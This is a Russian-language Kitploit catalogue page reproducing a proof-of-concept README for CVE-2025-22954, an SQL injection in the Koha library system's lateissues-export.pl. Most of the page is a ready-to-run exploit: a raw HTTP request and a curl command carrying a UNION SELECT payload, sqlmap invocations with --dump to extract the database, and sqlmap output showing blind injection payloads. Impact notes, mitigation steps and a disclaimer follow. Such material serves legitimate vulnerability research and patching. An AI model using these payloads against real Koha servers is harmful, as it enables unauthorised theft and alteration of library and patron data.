Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-22954 — Koha CVE-2025-22954: SQL-инъекция в lateissues-export.pl | Kitploit
Инструменты/GitHubGitHub/randomrobbiebf/cve-2025-22954
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеБезопасность Баз Данных
GitHubrandomrobbiebf/cve-2025-22954

CVE-2025-22954

Koha CVE-2025-22954: SQL-инъекция в lateissues-export.pl

Репозиторий
11 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Koha CVE-2025-22954: SQL-инъекция в lateissues-export.pl

Обзор

Этот репозиторий содержит proof of concept для CVE-2025-22954 — критической уязвимости SQL-инъекции (CVSS 10.0) в Koha до версии 24.11.02. Уязвимость находится в функции GetLateOrMissingIssues в C4/Serials.pm, которая вызывается скриптом /serials/lateissues-export.pl. Уязвимость может быть использована через параметры supplierid или serialid.

CVE IDCVE-2025-22954
CVSS v310.0 (Критический)
EPSS Score0.03% (Топ 5.26%)
Опубликовано12 марта 2025 года
Исправлено вKoha 24.11.02
Ссылка на багKoha Bug #38829
Примечания к выпускуРелиз Koha 24.11.02

Детали уязвимости

Уязвимость возникает из-за небезопасной обработки пользовательского ввода в параметрах supplierid и serialid в скрипте lateissues-export.pl, который передаёт их в функцию GetLateOrMissingIssues в C4/Serials.pm. Функция не выполняет должную очистку или параметризацию этих входных данных перед использованием в SQL-запросах, что допускает атаки с помощью SQL-инъекций.

Затронутый код

Уязвимый скрипт (lateissues-export.pl) содержит следующий код:

root@kitploit:~
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');

# ...

for my $serialid ( @serialids ) {
    my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
    # ...
    
    # update claim date to let one know they have looked at this missing item
    updateClaim($serialid);
}

Функция GetLateOrMissingIssues в C4/Serials.pm, вероятно, содержит уязвимую конструкцию SQL-запросов, в которой параметры $supplierid и $serialid напрямую конкатенируются в SQL-выражения без надлежащей параметризации.

Proof of Concept

Этот proof of concept демонстрирует, как аутентифицированный пользователь с доступом к модулю серийных изданий может использовать эту уязвимость для извлечения чувствительных данных из базы данных Koha или потенциально получить несанкционированный доступ к нижележащей системе базы данных.

Предварительные требования

  • Уязвимый экземпляр Koha (до версии 24.11.02)
  • Доступ к скрипту lateissues-export.pl

Метод эксплуатации

Метод HTTP-запроса

Для эксплуатации уязвимости можно использовать следующий сырой HTTP-запрос:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

Использование curl

root@kitploit:~
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1" 

Использование SQLMap

SQLMap можно использовать для автоматизации эксплуатации этой уязвимости. Сначала перехватите запрос к уязвимой конечной точке с валидными cookie аутентификации, а затем используйте SQLMap для эксплуатации точки инъекции.

root@kitploit:~
# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3 

Пример файла request.txt:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

Вы также можете эксплуатировать уязвимость напрямую с помощью SQLMap:

root@kitploit:~
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
  -p supplierid \
  --dbms=mysql \
  --dump
root@kitploit:~
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:

Воздействие

Эта уязвимость позволяет аутентифицированному злоумышленнику:

  1. Извлекать чувствительную информацию из базы данных
  2. Изменять данные в базе данных
  3. Потенциально выполнять произвольные команды на сервере базы данных
  4. Потенциально получить доступ к нижележащей операционной системе

Меры по устранению

Обновитесь до версии Koha 24.11.02 или более поздней, которая содержит исправление этой уязвимости.

Если немедленное обновление невозможно, рассмотрите возможность применения следующих временных мер:

  1. Ограничьте доступ к скрипту /serials/lateissues-export.pl только доверенными IP-адресами
  2. Внедрите правило Web Application Firewall (WAF) для блокировки потенциально вредоносных запросов к этой конечной точке
  3. Измените файл C4/Serials.pm, чтобы правильно параметризовать SQL-запросы в функции GetLateOrMissingIssues

Этические соображения

Этот proof of concept предоставляется только в образовательных и защитных целях. Всегда получайте надлежащее разрешение перед тестированием любой системы на уязвимости.

Отказ от ответственности

Автор не несёт ответственности за любое неправомерное использование этой информации. Этот proof of concept следует использовать только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.

Скачать инструмент